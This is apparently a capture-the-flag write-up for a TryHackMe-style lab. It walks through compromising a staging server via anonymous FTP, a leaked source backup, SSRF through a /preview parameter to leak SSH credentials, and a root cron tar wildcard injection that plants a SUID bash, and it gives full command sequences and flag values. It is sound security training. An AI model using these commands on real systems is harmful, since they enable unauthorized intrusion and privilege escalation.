Volt Labs is a small SaaS shop. They suspect an old staging server has rotted into an exposed liability. Mara assigned the engagement: find a way in and demonstrate full compromise.

Let’s wake up the staging server everyone left behind.


Fingerprinting the sleeping box

First contact:

curl -I http://TARGET_IP

A gunicorn server, unless someone spoofed the headers.

curl -I response showing gunicorn server header

One quick confirmation:

wappalyzer -i http://TARGET_IP
wappalyzer output confirming Gunicorn and Python stack

Thank you, wappalyzer.

I set Nmap running and did browser recon while it worked.

nmap -sS -Pn -sC -sV --script=vuln -T4 -A TARGET_IP

A visit in-browser:

staging app in browser with footer reading do not expose externally

The footer says “do not expose externally.” All lowercase. Why would that be there? The “internal tool” label and its vagueness are equally interesting.

A staging server is built to be an exact or near-exact replica of production. It’s the final checkpoint before deployment, the place to confirm features work in an environment that mirrors live. Which means whatever’s running here is probably running there too.

Nmap results:

nmap scan results showing ports 21 FTP, 22 SSH, 80 HTTP Gunicorn

Open ports:

  • 21 FTP. That could come in handy.
  • 22 SSH
  • 80 HTTP, Gunicorn confirmed again

Wide-open anonymous FTP on a staging server. Let’s see if we can walk in.

FTP anonymous login succeeding

Suspiciously easy. Hopefully not a red herring.

ls -la works on this FTP box. Traversing into pub:

FTP pub directory listing showing backup.tar.gz

backup.tar.gz. I’ll be taking that to-go, please and thank you.

binary
get backup.tar.gz
bye

Inspect before you extract

We are not extracting this blind. Inspect locally first, and only then extract into a contained folder.

mkdir ftp_backup
tar -xzf backup.tar.gz -C ftp_backup
cd ftp_backup
find . -maxdepth 4 -type f -ls

Sweep for anything useful:

grep -RniE "password|passwd|secret|token|key|admin|user|username|ssh|db|database|env|debug|flask|gunicorn" .

And a sweep for hidden files:

find . -name ".*" -ls

This is why we inspect first.

source inspection output with the standout line about admin routes gated to localhost only

The standout line:

Admin routes are gated by source-IP check (localhost only).

The archive is the full Flask/Gunicorn source for the staging app. Instead of guessing endpoints from the browser, the source tells us everything.

sed -n '1,180p' voltlabs-preview/app.py
grep -nE "route|admin|request|remote_addr|X-Forwarded|headers|localhost|127|abort|open" voltlabs-preview/app.py
app.py routes showing /preview url parameter, ALLOWED_HOSTS kestrel.thm, /admin/ localhost restriction, /admin/notes reading admin_notes.txt

Quite a find. What the source gives us:

  • /preview accepts a user-supplied url parameter
  • ALLOWED_HOSTS = {"kestrel.thm"}, and the comments say kestrel.thm resolves to 127.0.0.1 on the server
  • /admin/ is restricted to requests from 127.x.x.x via request.remote_addr
  • /admin/notes reads /opt/voltlabs-preview/admin_notes.txt
  • the source comments openly describe the SSRF weakness

So the intended path: use /preview as an SSRF primitive to reach the localhost-only admin content.


Confirm the front door is locked

curl -i http://TARGET_IP/admin/
curl -i http://TARGET_IP/admin/notes
curl to /admin/ and /admin/notes both returning 403 Forbidden

Both return 403 Forbidden. Direct admin access is blocked, exactly as the source said.


SSRF through the side door

The source is clear: kestrel.thm is allowed and resolves to 127.0.0.1 on the target. The admin route allows 127.x.x.x. So /preview should bridge us into /admin/.

curl -i "http://TARGET_IP/preview?url=http://kestrel.thm/admin/"
SSRF via /preview returning the /admin/ page that was blocked directly

SSRF to local admin confirmed. /admin/ was blocked directly, but the server fetched it for us through /preview.

Now the notes file:

curl -i "http://TARGET_IP/preview?url=http://kestrel.thm/admin/notes"

I think we just pwned our new friend, Mara.

/admin/notes via SSRF leaking staging SSH credentials

The SSRF exposed staging SSH credentials.


Inside as webdev

ssh webdev@TARGET_IP
SSH login successful as webdev

We’re in as webdev.

whoami && hostname && pwd
cat user.txt
whoami, hostname, user.txt flag THM{96dc7bd50d2fb98fcece01560788b5ab}

First flag: THM{96dc7bd50d2fb98fcece01560788b5ab}


Hunting the privesc

Standard checks first.

sudo -l

Not via sudo.

find / -perm -4000 -type f 2>/dev/null

SUID returned mostly standard system binaries and Snap noise. /opt is the better lead, and the app source already pointed there.

ls -la /opt
ls -la /opt/voltlabs-preview
/opt listing showing admin_notes.txt owned by voltapp group and /opt/backups owned by webdev

admin_notes.txt is owned by group voltapp and not readable by webdev directly. webdev does own and write to /opt/backups, though.

Find what webdev can write, and what touches it:

find / -type d -writable 2>/dev/null | grep -vE '^/proc|^/sys|^/run|^/dev'
writable directories showing /opt/backups is writable by webdev

A root cron job, running every minute out of the writable backups directory:

cat /etc/cron.d/voltlabs-backup
cron.d/voltlabs-backup showing root running tar czf with wildcard in /opt/backups every minute
* * * * * root cd /opt/backups && tar czf /var/backups/uploads.tgz *

That’s the privesc. webdev can write into /opt/backups, and root runs tar there with a wildcard.


tar wildcard to root

tar treats wildcard-expanded filenames that start with -- as options. We can smuggle in --checkpoint-action to make root’s tar run our script.

Stage the payload:

cd /opt/backups
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh
chmod +x shell.sh

Plant the option files:

touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
ls -la
/opt/backups listing showing shell.sh and the two --checkpoint option files staged

Staged. When root’s cron fires tar, it should run shell.sh and drop a SUID bash.

sleep 70; ls -la /tmp/rootbash
/tmp/rootbash present with SUID bit set after cron fires

Success.

/tmp/rootbash -p
whoami
/tmp/rootbash -p dropping to root shell, whoami returning root

The root has been bashed. Writable backup directory plus root cron tar wildcard equals root command execution.

find / -name "flag.txt" 2>/dev/null
find returning /root/flag.txt

Root flag: THM{e6ee84a483d67ade06936fcfd1433e8a}


Clean up

rm -f /tmp/rootbash
rm -f /opt/backups/shell.sh
rm -f /opt/backups/--checkpoint=1
rm -f "/opt/backups/--checkpoint-action=exec=sh shell.sh"

I was raised to leave a place as I found it.

/opt/backups clean after removing all staged exploit files

Full Attack Chain

# 1. Recon
curl -I http://TARGET_IP
nmap -sS -Pn -sC -sV --script=vuln -T4 -A TARGET_IP
# Ports: 21 FTP, 22 SSH, 80 HTTP (Gunicorn)

# 2. Anonymous FTP, grab the backup
ftp TARGET_IP        # anonymous login
cd pub
binary
get backup.tar.gz
bye

# 3. Inspect source, find the SSRF + localhost admin design
tar -xzf backup.tar.gz -C ftp_backup
grep -nE "route|admin|remote_addr|localhost|127" ftp_backup/voltlabs-preview/app.py
# /preview takes url=, ALLOWED_HOSTS={kestrel.thm} -> 127.0.0.1
# /admin/ restricted to 127.x.x.x

# 4. SSRF through /preview to reach localhost-only admin
curl -i "http://TARGET_IP/preview?url=http://kestrel.thm/admin/notes"
# leaks staging SSH credentials

# 5. SSH in as webdev -> user flag
ssh webdev@TARGET_IP
cat user.txt

# 6. Privesc: root cron runs tar with a wildcard in writable /opt/backups
cd /opt/backups
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
sleep 70
/tmp/rootbash -p        # root

Recap: anonymous FTP, backup source leak, SSRF to localhost admin, SSH creds, user flag, root cron tar wildcard, root flag.